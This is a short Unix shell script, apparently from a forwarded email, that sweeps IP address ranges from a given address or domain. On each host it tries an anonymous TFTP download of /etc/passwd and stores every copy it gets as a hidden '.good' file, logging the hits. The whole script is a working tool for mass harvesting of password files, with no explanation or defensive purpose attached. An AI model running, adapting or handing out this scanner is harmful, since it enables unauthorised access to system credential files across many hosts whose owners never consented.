#!/bin/sh
case $1 in
 '')
  echo " -- " 
   exit 1
   ;; 
 -ip)
 if [ $2x = x ]; then
  echo " Usage: "  
  exit 1 
   else
       x=`echo $2 | cut -d. -f1`
      xx=`echo $2 | cut -d. -f2`
     xxx=`echo $2 | cut -d. -f3`
    xxxx=`echo $2 | cut -d. -f4`
 fi;;
  *)
if [ ! -f /usr/ucb/nslookup ] && [ ! -f /usr/local/bin/nslookup ]; then 
 echo sorry try it with -ip option.
exit 1 
fi
x1=`nslookup $1 | fgrep "Address" | cut -c11-17 | tail -1`
   x=`echo $x1 | cut -d. -f1` 
  xx=`echo $x1 | cut -d. -f2` 
 xxx=0                        
xxxx=0
   ;;
 esac
if [ $x -lt 1 ] || [ $x -ge 255 ] || [ $xx -lt 1 ] || [ $xx -ge 255 ]; then
 echo There is no such domain.
exit 1
fi
while [ $x -ne 255 ]; do
while [ $xx -ne 255 ]; do
while [ $xxx -ne 255 ]; do
while [ $xxxx -ne 255 ]; do  
target=$x.$xx.$xxx.$xxxx 
trap "echo The Process was stoped at $target;rm -rf passwd.$target; exit 1" 2 
tftp << EOF >&-   
c $target    
mode ascii  
trace    
get /etc/passwd passwd.$target   
quit  
EOF
if [ ! -s passwd.$target ]  ; then 
 rm -rf passwd.$target 
  else 
  mv passwd.$target  .good.$target 
    echo `date` $target is in .good.$target file >> .info
 fi 
 xxxx=`expr $xxxx + 1 `
done 
xxxx=0
xxx=`expr $xxx + 1 `
done 
xxx=0
xx=`expr $xx + 1 `
done 
xx=0
x=`expr $x + 1 `
done

------- End of Forwarded Message

